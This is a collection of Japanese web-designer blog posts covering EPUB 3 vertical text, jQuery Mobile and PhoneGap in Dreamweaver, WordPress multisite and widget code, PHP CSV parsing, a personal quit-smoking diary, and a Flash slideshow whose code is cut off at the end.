大阪DTPの勉強部屋さん主催の「写植の時代」展。
写植や版下世代の人たちだけではなく、文字や組版に興味ある人やデザイナーさんもぜひ行ってみましょう！ きっと、明日の制作の糧となるはずです。
私も微力ながら、今回のチラシをデザイン制作させていただきました。
展示時間 14時～21時
※19日（日）は閉館
展示を観るのは無料
〒530-0025 大阪市北区扇町2-1-7
扇町キッズパーク 3F 交流スペース（3）
3つの催しには参加費500円
]]>
電子書籍の新規格「EPUB 3」は、 HTML 5 や CSS 3 をベースにしているため、ビデオやオーディオなどのマルチメディアに対応したコンテンツや、JavaScript によるインタラクティブなコンテンツの作成が可能となります。
また、いままでの EPUB では表現できなかった日本語の縦書きとルビ、圏点などの機能が実装されています。
今回は、EPUB 3 への書き出しに対応している「InDesign CS 5.5」を使用して、EPUB 3 の縦書きとルビ機能を試してみました。
テキストの素材は、青空文庫さんから太宰治の「走れメロス」をダウンロードしました。ありがとうございます。
InDesign でルビを入れて縦書きで組んでみました（とりあえず組んだので、文字組みに関する突っ込みはナシの方向で）。
本文や見出し、文中の縦中横などを「段落スタイル」と「文字スタイル」で設定しておくと、書き出される CSS にもスタイル設定が引き継がれるので、必ず設定しておく。
各スタイルから「タグを書き出し」で書き出されるタグを編集できるようですね。
「段落スタイル」と「文字スタイル」のオプションメニューから「すべての書き出しタグを編集」を選ぶと、複数のスタイルのタグやクラス名の編集が一括でできるので便利。
スタイルの設定ができたら、EPUB への書き出し。
【ファイル → 書き出し】で「EPUB 書き出しオプション」は、「一般」と「画像」はデフォルトで、「目次」の「CSS オプション」の「埋め込みフォントを含む」はチェックをはずしました（※フォントを埋め込んでも、正常に表示しなかったので）。
EPUB ファイルの拡張子を「.epub」から「.zip」に変更後、解凍。「OEBPS」フォルダにある HTML ファイルを開く。
EPUB ファイルの解凍と圧縮方法は、以前 EPUB に動画を埋め込んだ記事を参考にしてくださいませ。
iPhoneのiBooks用EPUBに動画を埋め込む - STAFF_01 [KYS-LAB]
HTML ファイルを開くと、XHTML 1.1 形式で書き出されてますね。EPUB 3 の記述は HTML 5 ベース（XHTML5）だったはず。InDesign CS 5.5 からは EPUB3 への書き出しにに対応しているとのことだが、このへんはアップグレードで解消されていくのかな？ 設定を見落としていたらスミマセン。
とりあえず、HTML 5 の記述に修正していく。
自動で書き出された DTD と html の属性を変更。
<?xml version="1.0" encoding="utf-8" standalone="no"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 //EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml">
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml" xmlns:epub="http://www.idpf.org/2011/epub" lang="ja" xml:lang="ja">
link 要素に設定する type 属性も省略できるので削除しました。
<link href="template.css" rel="stylesheet" type="text/css" />
<link href="template.css" rel="stylesheet" />
つづいて、CSS ファイルを開く。
body タグに縦書きに反映させるベンダープレフィックスを追加（「-epub-」と「-webkit-」）。
body { writing-mode : vertical-rl; -epub-writing-mode : vertical-rl; -webkit-writing-mode : vertical-rl;}このプロパティは行送り方向を設定する。
Windows では MS 明朝以外のフォントでは縦書きにならなかったので、使用フォントを変更。
font-family : "Hiragino Mincho ProN W3", "@ＭＳ 明朝", serif;
本文の文字サイズをブラウザ標準サイズの 1em に。
font-size : 1em;
タイトルと著者名を追加。
<dc:title> 走れメロス</dc:title> <dc:creator> 太宰治</dc:creator>
現時点では EPUB 3 に対応した正式なリーダーがまだ出ていないとのことなので、EPUB 3 に対応した Web ブラウザ「Google Chrome」で確認。その他、バリデートや各種リーダーでもどのように表示するのか一応確認してみました。
とりあえず、修正した EPUB が正しいのか、「Validate EPUB」でチェックしてみました。
「Validate EPUB」は、EPUB をバリデートして構文チェックをしてくれる便利な Web サービスです。
Validate EPUB
エラーでまくり。。。（140個も）
まだ EPUB 3 には対応していないのか、「ruby」要素は許容してないよ的なエラー内容も。
気をとりなおして「Google Chrome」で確認。お、縦書きで表示されますね。ルビもちゃんとふられてます。
現時点（2011.7.20）では、EPUB 3 に対応してませんが、iPhone の「iBooks」で一応確認。うーん、やはり縦書きで表示されない。
「Stanza」でも確認。やはり縦書きで表示されませんでした。
EPUB 3.0 に対応している PC 専用リーダー「espur（エスパー）」で確認。あ、縦書きで表示されていますね。ページ送りは逆になってましたが。サンプルの「草枕」ではきちんとページ送りできていたので、ボクの設定がおかしいんだと思います。
espur（エスパー）：縦書き用電子書籍リーダー/eBook Reader for EPUB3(EPUB Enhancements for Japanese Text Layout)
今回は検証してませんが、Mac な方には「Murasaki」という EPUB リーダーが縦書きに対応しているそうです。
Murasaki - Simple EPUB Previewer
InDesign 5.5 になって、EPUB の書き出しがかなり便利になっていますが、完全に自動化ってわけにはいきませんね。
EPUB 3 については、対応したリーダーが出ていないので、広がっていくのはもう少し先かもしれません。今回は正式なマニュアルもなく、自分で調べた範囲内で制作したので、工程で間違っている箇所もあるかと思います。コメント等で突っ込んでいただけたら嬉しいです。
HTML と CSS のソースは、「jsdo.it」に上げときました。
走れメロス - jsdo.it - Share JavaScript, HTML5 and CSS
前回、Dreamweaber CS 5.5 の「jQuery Mobile」対応機能で、スマートフォンサイトのサンプルを作ったので、今回は、これも 5.5 で新しく追加された「PhoneGap」の機能で、Android のネイティブアプリケーションに変換してみました。
Nitobi 社が開発したクロスプラットフォーム・モバイルアプリケーションの開発フレームワークで、HTML ＋ CSS ＋JavaScript を用いて、iPhone / Android のネイティブアプリケーションを開発できます。通常 Objective-C や Java を習得しないとできないことを代わりにゴニョゴニョしてくれる非常にありがたいオープンソースソフトウェア。
スマートフォンサイトが完成したら、PhoneGap でアプリに変換。
まず最初に、【サイト → モバイルアプリケーション → アプリケーションフレームワークの設定】で Android SDK のパスを設定する（ Mac 版は iOS も可能）。
「簡易インストール」で任意の場所に Android SDK をインストール（今回はデスクトップに）。
続いて、【モバイルアプリケーション → アプリケーション設定】で、アプリ名や作成者名、アイコンなどの画像を設定。
※アイコン画像（36 x 36 px）とスタートアップスクリーン画像（320 x 480 px）は、あらかじめ PNG 形式で作成しておこう。
最後に、【モバイルアプリケーション → ビルドおよびエミュレート → Android 】でスマホアプリに一発変換。
※DW が機嫌のいい時とわるい時があるみたいで、エミュレータが開いてくれないことがある。
変換中...
お、Android が起動
ロックを解除して
アプリを選択すると
アイコンが表示された
スタートアップ画面も
jQuery Mobile で作成したサイトもちゃんと表示しました！
たったこれだけの作業で、スマホアプリが作成できるってスゴイっすね（内容はともかく...）。こんなボクでも何か作れるんじゃないかって勘違いさせてくれますわ（笑
]]>
5月下旬に発売された「Dreamweaber CS 5.5」がスマートフォン対応機能が強化されたとのことなので、「jQuery Mobile」を少し触ってみました。
jQuery Mobileとは、iPhone、Android、Windows Phone、BlackBerry などのスマートフォンに対応したサイト構築するためのフレームワーク。jQuery のプラグインとして動作します。
【ファイル ＞ 新規】で、「サンプル作成」から「モバイルスターター」 → 「jQuery Mobile (CDN)」を選択すると、
4ページ分のテンプレートが自動で出来上がる。
ウィンドウサイズもいくつか用意されており、「320 × 480」を選択すると iPhone のサイズに。
デザインビューを「ライブビュー」に切り替えると、実際の画面を確認できる。
基本のテンプレートが用意されているので、こんなぐらいのサイトなら、あっちゅーまに出来てしまいます。
現時点（2011.06.27現在）で、jQuery Mobile のBETA版がでているので、最新版を読み込むように変更（デフォルトでは前のバージョンの Alpha 版を読み込むように設定されている）。
<link rel="stylesheet" href="http://code.jquery.com/mobile/1.0b1/jquery.mobile-1.0b1.min.css" /><script src="http://code.jquery.com/jquery-1.6.1.min.js"></script><script src="http://code.jquery.com/mobile/1.0b1/jquery.mobile-1.0b1.min.js"></script>
<h1>のタイトルを書き換えると、ページのタイトルが変わります。
<div data-role="header"> <h1>KYS-LAB</h1></div>
Back ボタンを追加したい場合は、下記を header に追加（Alpha 版ではツールバーにデフォルト表示）。
<a href="#page" data-rel="back">Back</a>
つづいて、各ページのコンテンツ部分。2ページ目に弊サイトブログの feed を読み込ませました（ Google AJAX Feed API を利用。参考記事： Google Feed APIで3分マッシュアップ）。
ajaxのリンク先が php の場合、うまく認識してくれなかったので、通常のページ移動をさせるために、a タグの属性に「rel="external"」を追加しました。 
3、4ページ目はそれぞれプロフィールと問い合わせ先を追加しました。スクリプトを書かずにマークアップだけで構築できるのはとても便利。
KYS-LAB（スマホバージョン）
凝ったスマホサイトやアプリを作るわけじゃなければ十分かも。今後、スマホをターゲットにしたサイトやアプリは必須だと思うので、その他の機能もちょっとずつ覚えよっと。
jQuery Mobile使用時によく使いそうなマークアップのリストと動作サンプル - かちびと.net
[JS]jQuery Mobileでスマフォ対応ページをはじめて作成する際に役立つコード集とつまづきやすいポイント | コリス
jQuery Mobile Beta1へのアップデートについてまとめたメモ ::ハブろぐ
↓このぐらいカスタマイズできたらスゴイっすね。
jQuery Mobile Examples - JQM Gallery
「KYS-LAB」は本日6月14日から明日にかけてサーバー移転をします。しばらくサーバーにつながりにくくなるかと思いますが、何卒ご了承くださいませ。
主要コンテンツの移転はほぼ完了しました。いやぁ、CMSだけでも7つあったのでなかなか大変でした。
以下、サーバー移転でハマったんで自分用メモ。同症状でもサーバーによっては解決しない可能性が高いので、鵜呑みにしないでくださいね。
「GIMPスーパーテクニック教本」（晋遊舎）にて作例を1点執筆しました。
「馬と鳥の写真（上）からペガサスのCG（下）に」
月と宇宙空間を一から作成後、馬と鳥の羽の写真を合成・加工し、ペガサスのCGを作成しました。
詳しくは、ムックを見てください～ (^_^;
]]>
昨年、モリサワ文字文化フォーラムで、中村勇吾氏がチラッと話されてたデジタルな額縁「FRAMED*」が正式に公開されました。
ソフトウェアアート／映像／モーショングラフィックといった様々な形式の表現を、暮らしの中で日常的に体験して頂けるようデザインされた新しい「額縁」。それが「FRAMED」です。
via 中村勇吾氏のTwitterより
ほんと素敵ですね。
確か、デバイスから海外の企業と共同で開発しているとおっしゃっていたので、それなりのお値段になるでしょうが、インテリアに欲しい！（そんなシャレた家に住んでへんけど）
]]>
WordPress 3.1 でサイトを構築していて、アップロードファイルのサイズで少しハマったんでメモ。
投稿画面でお客さんから送られてきた PDF データを挿入しようとしたら、「●●.pdfは、エラーのためアップロードに失敗しました このファイルは、このサイトのアップロード上限を超えています。」のエラー表示。
よく見ると、「アップロードファイルの最大サイズ：1MB」となっていました。1MB って。
ボクたちのような仕事をしていて、画像や PDF のサイズを変更できれば別ですが、ふつう一般の方でそこまで気をつけて、サイズを調整されないはずです。デジカメで撮った大きい画像もバンバン掲載していかれるでしょうし、アップロードファイルサイズの上限値を上げる必要があります。
ファイルサイズの上限値を変更しようとググってみると、「.htaccess」や「php.ini」ファイルで設定するとのこと。
WordPressのインポート機能で2MB制限を突破する方法 - IDEA*IDEA ～ 百式管理人のライフハックブログ
php.iniを編集してインポートできるファイル・サイズを増量する 初めてのWordPress＆PC
が、上記サイトを参考に設定を変えても WordPress 3.1 では、エラーをはき出したり、上限値が変更されませんでした。おそらくバージョン 2.9以下の WordPress なら可能なんだと思います（※試していません、ゴメンなさい）。
あっちこち、ダッシュボード内をさがしていると、「サイトネットワーク管理者」＞「設定」＞「アップロード設定」にありました（※「サイト管理」のほうではありません。サイトネットワーク管理者」です。慣れるまでややこしい）。アップロード容量や最大サイズ、可能なファイル形式など、ここで設定できます。
「アップロードファイルの最大サイズ」が「1500KB」になってました。いくらなんでもデフォルトで 1500KB はないやろって。
とりあえず、アップロードファイルの最大サイズを「30000KB（30MB）」まで増やすと、「29MB」に変更されました。1MB 減るのもよくわからんが。
これは、ネットワーク化（マルチサイト化）設定をしないと出てこないのかなと思い、ネットワーク化していないシングルシステムの WordPress 3.1 を調べてみると、上記のようなアップロードファイルの設定画面が見当たりませんでした（今のところ2011.3.8）。
その代わりにアップロードファイルの最大サイズが 200MB となってます。なんで 200MB やねん。差ありすぎやん。まぁ、もっと本読んで勉強せなあきませんな。
]]>
可変グリッドレイアウトとは、ブラウザのウインドウサイズを広げたり縮めたりすると、コンテンツが再配置されるグリッドレイアウトのこと。一昨年ぐらいから流行ってますよね。
トップページでも試してみようと思いながらも、ずっとほったらかしてたので、突然思い立ってやってみました。
リキッドレイアウト上に、配置されたコンテンツの幅や空きスペースをうまいことゴニョゴニョしてくれる優れものスクリプト（※jQuery.jsが必要）。
解説とスクリプトは下記サイトからどうぞ。
当ブログのトップページに導入してみました。サイドバーは固定で表示させたかったので、コンテンツエリアだけを CSS でリキッドレイアウトにしました（IE6 では少しくずれるのはご愛敬）。
お時間ございましたら、ウィンドウの幅を変更してみてください。こんなことが、簡単にできてしまうのが jQuery のスゴイところですねー。開発者に感謝。
こちらのプラグインもすごそうっす。いずれ試してみようと思います。
可変グリッドレイアウトのjQueryプラグイン書いたよ | Xlune::Blog
Wordpress 3.0 から、ネットワーク化すると複数のブログを管理できるマルチサイトの運営が可能になりました。そうなると、追加した各ブログの情報（新着情報やページ情報など）を取得したい場合が増えてきますよね。
Movabletype では「 MultiBlog 」で、複数ブログの情報をテンプレートタグで簡単に取得できたので、Wordpress も何か似たようなタグがあるだろうと調べてみると、WPMUで使用されていた「switch_to_blog 」という関数を利用するとのこと。
それまでは、各ブログの RSS からタイトルやパーマリンクを抜き出して、最新情報に表示させていたけど、表示が重いしリアルタイムに反応してくれなかったので困っていました。これで一気に解決っす。
ポイントは、「 switch_to_blog() 」の引数にサイト（ブログ）のIDを入れ、各ブログに切り替えて情報を取得する。
<?php switch_to_blog(サイトのID) ?>
サイトの ID は、ダッシュボード内で調べることができます。
ダッシュボード内の「サイトID」
処理が終わると、最後に元のブログに戻す記述を忘れないように。
<?php restore_current_blog(); ?>
例えば、子ブログの新着情報を親ブログに表示させる場合なら、こんな感じで記述できます。
<?php// ブログIDが2の情報を取得する場合switch_to_blog(2);?><dl><?php// 最新記事の5件を表示query_posts('showposts=5');while(have_posts()) : the_post();?><dt><?php the_time('Y年m月d日'); ?></dt> <dd><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a>（<?php $cat = get_the_category(); $cat = $cat[0]; { echo $cat->cat_name ;} ?>）</dd><?php endwhile; ?>簡単なサイトマップならこんな感じで取得できます。
<?phpecho "<h1>サイトマップ</h1>";// 各ブログの情報を格納$blog_list = get_blog_list();// 各ブログの情報をID順で表示させるforeach (array_reverse($blog_list) as $blog) { // ブログIDを切り替える switch_to_blog($blog['blog_id']); // 各ブログの概要 echo "<h2>"; bloginfo('description'); echo "</h2>\n"; // 各ブログのページリスト echo "<ul>\n"; wp_list_pages('title_li='); echo "</ul>\n"; // 元のブログにもどる restore_current_blog();}?>「 switch_to_blog 」は、ネットワーク化してマルチサイトを管理する場合、必ず必要となってくる機能だと思います。
switch_to_blog：マルチサイトのポータルを作成する | Goldmine1969 :: BLOG
#WordPress マルチサイトネットワーク内の各ブログから最新の投稿1件を取得し時系列で並べる方法 | umbrella_process blog
]]>
WordPress では「ウィジェット」機能を使うと、サイドバーやフッターの項目の中身や並び順を、管理画面から簡単にレイアウトできます。
その中の「テキスト」ウィジェットを使用すると、任意のテキストや HTML が作成できます。ただ、PHP や WordPress の機能を活用しようと思えば、やはり新規にウィジェットを作成しておいたほうが便利ですね。
で、今回はオリジナルウィジェットの作成方法のメモ書き。
//クラス名は任意class クラス名 extends WP_Widget { //コンストラクタ クラスと同じ名称 function クラス名() { // ウィジェットの初期設定 $widget_ops = array('classname' => 'ウィジェットのクラス', 'description' => 'ウィジェットの概要') $this->WP_Widget('ウィジェットID', 'ウィジェット名', $widget_ops); } function widget($args, $instance) { // ウィジェットのコンテンツ出力 } function update($new_instance, $old_instance) { extract($args); echo $before_widget; echo $before_title . ウィジェットのタイトル . $after_title; //ウィジェットの内容 echo $after_widget; } function form($instance) { // 管理画面のウィジェットに出力するフォームを記述（オプションの設定など） // $instanceには保存したオプションが連想配列で引き渡される。 }}//MyWidgetInit関数function MyWidgetInit() { //ウィジェットのクラス名を登録 register_widget('クラス名');}//widgets_initアクション時にMyWidgetInit関数を実行add_action('widgets_init', 'MyWidgetInit');複数ブログを管理する場合、同じ内容の項目を別データに作成しておき、「 include 」で読み込むだけのウィジェットを作成していると、修正があれば元データをいじるだけなので便利なはず。
WordPress のウィジェットを自作してみる（ただし 2.8以降用） - digitalbox
]]>
今回は、CSV ファイルを読み込んで、連想配列にする勉強をしてみました。配列にすることによって、各データの値が参照できるようになるので重宝するはず。
なにぶん、PHP の勉強を始めたばかりなので、ソースにムダがあると思いますが、大目に見てね。こうしてコードをさらすことで、上達すると思うので。多分。
サンプル用に2つの簡単な CSV ファイルを用意しました。
基本的に、 CSV はエクセルから書き出されることが多いので、文字コードを「 Shift-JIS 」、ダブルクオーテーションなしの「,（カンマ）」区切りにしています（一行目は項目名）。
ID,ソフト名01,Illustrator02,Photoshop 03,InDesign04,Flash05,Dreamweaver06,After Effects
ID,説明01,お絵かきソフト02,レタッチソフト03,編集ソフト04,アニメーションソフト05,コーディングソフト06,動画ソフト
<?php//外部ファイルを配列に$csvFiles = array("text1.csv","text2.csv");//読み込んだファイルの配列に対して繰り返し処理foreach($csvFiles as $key){ //読み込んだファイルの各行のデータを文字列に格納して返す $str = @file_get_contents($key); //SJISからUTF-8に変換 $str = $str = mb_convert_encoding($str, "UTF-8", "SJIS"); //ファイルの改行を<br />に置換（置換する文字は何でもよい） $array = str_replace("\r\n", '<br />', $str); //<br />を区切り文字として分割 $array = explode('<br />', $array); foreach($array as $koumoku => $value){ if($value){ if($koumoku == 0){ //項目名（一行目）は$headerに格納 $header = explode(',', $value) ; }else{ $item = explode(',', $value) ; //その他は$itemに格納 //「CSV名」、「ID」（$item[0]）をキーに連想配列作成 $assoArray[$key][$item[0]] = array_combine($header, $item); } } }}print_r($assoArray); //出力確認?> PHPスクリプト講座：array()による配列生成 -- そふぃのphp入門
]]>
これからはデザイナーでも、サーバサイドのスクリプトもある程度わかっていないとってことで、「 PHP 」の勉強も始めました。
あれもこれも覚えるのは大変ですが、「 WordPress 」も PHP で開発されているので、勉強しておいて損はないはず。
今回は、自分用に PHP 開発環境の簡単なメモ書き。
PHP をローカルの Windows で開発するために、「 XAMPP 」をインストールしました。
XAMPP は、 PHP の開発に必要な PHP や Apache 、MySQL などのソフトがパッケージ化された無償のソフトで、Windows 版も Mac 版もあります（最新バージョンは 1.7.3、2010年11月17日現在）。
apache friends - xampp for windows
なお、PHP の開発には「 Eclipse＋PDT 」が便利なようです。
Pleiades - Eclipse プラグイン日本語化プラグイン
今のところ、Adobeの「Dreamweaver」を PHP のエディタにしていますが、今後「 Eclipse 」も試してみようと思います。
これから少しずつですが、 PHP も触っていきますよ。しっかし、やることいっぱい。。。
いよいよ今月からタバコが値上げされましたね。
たばこ、4年ぶり値上げ＝過去最大、1箱110～140円 （時事通信） - Yahoo!ニュース
ボクも一ヶ月前までは、ヘビースモーカーで毎日二箱以上吸ってました（計40～50本）。飲みに行ったら、それこそ60本以上スパスパ。
今回の大幅値上げは、ただでさえ少ないおこづかいをさらに圧迫させ、まともな生活ができないだろうと判断したので、「2010年9月1日」に禁煙を決意しました。
自分のような意志の弱いヘビースモーカーでも、本当にタバコがやめられるのか不安でしたが、禁煙してかれこれ一ヶ月が経ちます。
単なる自分の禁煙体験談ですけど、禁煙しようか悩んでいるヘビースモーカーさんたちに参考になればと思います。痛いほど気持ちが分かるので。
ボクでもやめられたんで、皆さんも絶対にやめられます！
禁煙のきっかけは、もちろん今回の大幅値上げですが、ある友人の言葉が引き金になりました。
以前からタバコを値上げすることは分かっていたし、10月になる前にやめれたらええやろ、と緩い感じでずっと吸い続けていました。
値上げまであと一ヶ月ちょっという、まだ残暑厳しい8月のある日、友人家族が家に遊びに来たときのことです。
その友人は二年前に禁煙に成功していて、タバコを吸ってるボクを見るなり、
「え！まだ吸ってんの？」（ニヤリ）
と、その言葉の後には「かわいそうに」とか「アホちゃう」みたいな言葉がつづきそうな感じで、ちょっぴり上から目線で言われたような気がしました。
いや、本人はそんな気がなかったとは思います。喫煙者の単なる被害妄想ですな。
でもね。自分でもずっと疑問に思っていたんです。「なんで吸ってるんやろ」と。
体に悪いと知っていながら、惰性で吸い続けて二十年以上。風邪ひこうが、肺が痛かろうがゴホゴホ咳き込みながらタバコを吸ってました。完全にニコチン中毒。
絶対にタバコをやめる気もなかったし、タバコがタブーな話題には耳をふさいでいました。
それが、なんで急にやめようと思ったか。
カチンとはきましたが、友人の「え！まだ吸ってんの？」の一言で、気づいたんです。当たり前のことに。
「ほんまや、なんでこんなに気分悪いのにタバコ吸ってるんやろ」と。
いや、ほんま急に気づいた（気づくの遅すぎ！）。
「昼飯代を削って、タバコ買ってるって、たいがいアホやで」と。
さらに、
「禁煙なんか絶対無理やって思われてるのも腹立つ。もし、タバコやめたら、オレめちゃカッコよくね？」
って、自分のテンションを無理矢理上げました。
今まで、これといった努力をしてこなかったけど、禁煙できたらマジすごいわって思ったら、いてもたってもいられなくなり、絶対にその日でやめてやると決意しました。
それが、「2010年9月1日」の事でした。
禁煙前日に捨てたタバコグッズの一部
ボクの禁煙方法は二つ。
一つは「気合い」です。
禁煙外来や禁煙グッズを利用するなど、色んな禁煙方法がありますが、ボクは何も利用しませんでした。「気合い」のみです。
そんなの長続きしないだろうと思われますが、どんな方法を使おうが、結局は本人の意志の強さであり、「気合い」やろうと。禁断症状もどんとこい！ってな感じで、ニコチンガムやパッチも一切利用しませんでした。
電子タバコも購入しませんでした。聞くところによると「ハンコ」をくわえてる感じだとか。そんな偽物くわえるんやったら、本物のタバコを吸うわと。
もう一つは、「Twitter」です。
禁煙についてつぶやくと、フォロワーさんや検索でみつけられた方からアドバイスやはげましを受けるようになりました。これは、本当にうれしかったですね。あと、みんなの前で宣言したんだから、吸ったらカッコわるいですよね。
自分だけが監視しているとどうしても甘くなるので、Twitterでつぶやきながら、どんどん自分を追い込んでいきました。
あとまぁ、吸いたくなったらつぶやいてたので、ストレス発散にもなりました。
約一ヶ月間の悪戦苦闘するつぶやきを、Twitter のツィートをまとめるサービス「Togetter」にまとめています。
まず、最初のつぶやき。
【禁煙計画】あしたから、タバコを一本ずつ減らす （予定）
2010-08-31 16:32:21
これ、禁煙初心者が必ずやって、100%挫折するそうです（笑）。未練たらたらなのは分かりますが、やめておいたほうがいいです。
「節煙」や「減煙」でググってみてください。禁煙よりしんどいようです。
で、ボクも節煙はやめてスパッと禁煙する決意をしました。
【禁煙 1 日目】節煙ではなく、一気にやめることにした。きょうは朝から一本も吸ってないぞ。どこまで続くのか？ #kinen
2010-09-02 09:29:16
あと、必ずけじめをつけたほうがいいです。いわゆる「卒煙式」。
ボクも最後のタバコをくゆらせながら、厳かに実行しました。
本気出すため、ライターと灰皿を処分した。
タスポもハサミで切り刻んで捨てた。← めちゃ勇気いった。
2010-09-02 09:32:35
このようにタバコグッズは全部処分したほうがいいです。タスポなんか5ミリ間隔ぐらいに切り刻みましたよ。自分の顔の部分を切ってると、うっすらと涙が出てきました。
でも、このぐらいやらないとダメなんです。このときの何とも言えない寂しさは、一生忘れないでしょう。一人卒業式みたいな感じ。
で、平日にいきなり医者にもいかず禁煙を始めたもんだから、強烈な禁断症状が出てきます。
なんか、めまいがしてきたぞ。禁断症状？ きょうは、まったく仕事に集中できない。 #kinen
2010-09-02 15:49:14
体を動かすたびに、立ちくらみのようなめまいが。ドヨーンとした頭痛もずっと続いてました。
でも、このぐらいの症状がないと、禁煙する意味がないっていうか、楽してやめたくなかったんです。それ相当の罰を自分に与えたかったので。ちょっとM？
その後、禁煙の決意を強固にしたのが、これです。
家族の前で正式に「禁煙宣言」。娘が感激して大泣き。これは絶対に裏切られないぞ。親として男として。 #kinen
2010-09-02 21:21:51
これは効きました。娘の涙を見たとき、胸がしめつけられるような思いでした。今までもさんざん「おとうさん、タバコやめて！」って言われてましたし。
それでも、最初の三日間はほんときつかったです。
禁断症状ピーク。。。ぐわー！！！
2010-09-03 20:20:05
@Hiroshi0831 ぎりぎりのところで踏ん張ってます。く、くるちぃー
2010-09-04 02:16:47
【禁煙 3 日目】今までの人生の中で、一番がんばってんじゃねぇーかって思う。そう思わないとやってられない。 #kinen
2010-09-04 08:53:12
今までいかに、がんばってなかったかというか（笑）、苦しんでますねー。
あと、今もときどき顔出すもう一人の自分がいるんです。
【たまに顔を出すもう一人の自分】簡単にタバコを止められるわけないやんけ。頭では分かっていても出来へんのが人間とちゃうんか。簡単に止められたら以前の自分を全否定するというか、そんな軽い問題ちゃうわ。それ相当の苦しみを味わな値打ちないんじゃ。ヘビースモーカーをなめんな！ #kinen
2010-09-24 23:43:17
魂の叫びかと（笑）。相当イライラしてますね。これも日が経つうちに少しずつなくなってきます。
禁断症状はなくなっても口寂しいので、飴や昆布などを口に入れてました。
「ノンシュガー果実のど飴」の白桃味うまっ♪
2010-09-07 09:28:25
「ノンシュガー ミルク酪園」キャラメルミルク味、うまっ♪
2010-09-09 13:29:50
「おしゃぶり昆布」うまっ。とまんなう。
2010-09-12 10:43:46
今でも、会社の机には飴を常備しています。
体調の変化もあらわれてきました。
【禁煙 10 日目】犬並みに嗅覚がするどくなった気がする。特にタバコの臭いに敏感。あと、味覚も変わってきたっぽい。塩っからいものが、より塩っからく感じる。なんで？ #kinen
2010-09-11 08:41:17
ニコチンでふさがれていた嗅覚と味覚が復活しだしました。
@629lov あと、なぜかブラックコーヒーが嫌いになりました（毎日飲んでたのに）。天然水ばっかり飲んでます。おなかタップタプっす。
2010-09-11 08:49:34
コーヒーはタバコとセットだからでしょう。ほんとブラックコーヒー飲まなくなりました。今はミルクたっぷりのカフェオレ。
禁煙してから眠気がひどい。もう寝ます。おやすみなさい ZZz...
2010-09-13 21:46:49
これは、禁断症状の一つかもしれませんが、以前はニコチンが脳みそを覚醒させていたのかも。
まず、これが一番大きいでしょう。お金の節約。
@works014 すでに、6000円（タバコ代 × 10日間）節約できましたよ。やめると、焼酎もっと呑めますよー！
2010-09-11 10:19:26
次に、これ
出かける前や帰る前に、タバコの火の元チェックをしなくていいのも楽だ。 #kinen
2010-09-08 09:06:57
火の元チェックは、何回もしていたから結構面倒くさかったんですよね。
【禁煙 15 日目】顔色がよくなったって言われるようになった。 #kinen
2010-09-16 13:12:31
女性ならなおさらでしょう。くすみがとれます。
【禁煙 17 日目】ウチのおかんに「禁煙してん」と電話したら、かなり喜んでた。ちょっと照れくさかった。 #kinen
2010-09-18 13:22:56
いくつになっても、子どもの健康を願わない親はいません。ちょっとした親孝行かも。
【禁煙 19 日目】家族で行動するとき、超スムーズと好評☆ 今までどんだけタバコの休憩時間をとってたんかと。 #kinen
2010-09-20 13:54:06
これも団体行動では大切ですよね。家族間のしょーもないケンカもなくなります。
【禁煙 23 日目】きのう、近所の子どもたちと鬼ごっこをしたけど、息切れしなかった。筋肉痛だけど。 #kinen
2010-09-24 10:42:41
息切れがなくなる。なんか、いいことだらけっすね。
これ難しいですね。人によって異なるでしょうし。10年やめていた人が突然吸い始めることもあるそうです。なので、自分で目標を決めたらいいと思います。
ボクの場合は、まず１ヶ月としました。その次は３ヶ月、そして１年と延ばしていってそのうち忘れられたらいいかなと。それと、飲み会で吸わなかったら、まず成功といっていいのではないでしょうか。
飲み会に行くと、必ず現役スモーカーたちにいじられます。
【禁煙 25 日目】飲み会で、煙を吹きかけられたり、目の前にタバコを置かれたり、いっぱいイジワルされたけど、耐えたよボク。 #kinen
2010-09-26 05:50:42
自分もしたことがあるので、罰だと思って耐えましょう（笑）。
そして、値上がり前日のツィート。
【禁煙 29 日目】いよいよ明日からタバコの値上げか。今日、最後の吸いだめをするスモーカーさんも多そうっすね。明日からいっしょにがんばりましょー☆ #kinen
2010-09-30 14:29:32
ちょっと、先輩面して余裕こいでますな。でも、この体験がこれから禁煙しようと考えているスモーカーのみなさんの参考になれば幸いです。
興味がありましたら、Togetter に禁煙ツィートをまとめてるので、読んでみてください。
下記のサイトさんも参考になるので、ご自分にあった禁煙方法を見つけてくださいね。
ま、お医者さんに行くのが一番とは思いますが。
北風小憎夫の「ニコチン・アンインストール・マニュアル」 ニコアンって、何？ ～twitterからお越しの方へ～
]]>
iPhone OS の規約変更により、Flash 製 iPhone アプリもガンガン出てきそうなので、Flash のリハビリ。
ActionScript 3.0 で、比較的使用頻度が高いと思われる外部画像を読み込んだスライドショーをつくってみました。
プリロードを入れてないので閲覧されている環境によって、読み込みが表示されないかもしれません（ダメじゃん）。
読み込む画像は、弊社のフリー画像素材集サイト「 KOYU 写」から書き出した XML を読み込んで表示させています。
Flash (ActionScript 3.0)「外部画像読み込みスライドショー」
（要：FlashPlayer 9.0以上）
外部画像をランダムに読み込み、切り替えはトランジションの「 PixelDissolve 」を利用しています。
画像を読み込むたびにメモリが増えるので、必ずメモリ解放をしないといけません。タイミングが難しいですね。
package { import flash.display.*; import flash.events.*; import flash.net.*; import flash.utils.Timer; import fl.transitions.*; import fl.transitions.easing.*; public class KYS_Gallery extends Sprite { //XML読み込みオブジェクトの生成 var myLoader:URLLoader = new URLLoader(); //文字列をURLRequestオブジェクトにする const myURLRequest:URLRequest=new URLRequest("http://www.kys-lab.com/photo/photo_viewer.xml"); //イメージのsrcなどが入るObjectの配列 var img_array:Array = new Array(); //次のスライドの番号 var n:int = 1; //前回のスライドの番号 var m:int = n-1; //トゥイーン var imgTween:Tween; //タイマー var myTimer:Timer; //タイマーの秒数 var time_num:int = 5; //transitionのタイプ var transType:Class = PixelDissolve; public function KYS_Gallery() { myLoader.addEventListener(Event.COMPLETE, onLoaded); myLoader.load(myURLRequest); //読み込み完了時にXML読み込み function onLoaded(e:Event):void { var myXML:XML=new XML(e.target.data); //XMLを解析 for each (var entrydata:Object in myXML.image) { //配列格納 entrydata.path=entrydata.path; img_array.push(entrydata); } //配列をシャッフル var i:int = img_array.length; while (i--) { var j:int = 